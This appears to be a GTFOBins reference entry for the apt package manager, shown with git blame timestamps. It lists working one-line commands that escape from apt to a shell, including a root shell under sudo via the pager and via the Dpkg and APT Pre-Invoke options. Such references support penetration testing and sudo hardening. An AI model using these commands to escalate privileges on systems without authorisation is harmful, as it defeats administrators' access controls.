1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/apt.md

21 lines
774 B
Markdown
Raw Normal View History

---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-11-29 12:27:41 +01:00
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
apt changelog apt
!/bin/sh
2018-10-05 19:55:38 +02:00
sudo:
2018-11-29 12:27:41 +01:00
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo apt changelog apt
!/bin/sh
- description: For this to work the target package (e.g., `sl`) must not be installed.
code: |
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
2019-01-21 16:41:17 +01:00
code: sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
---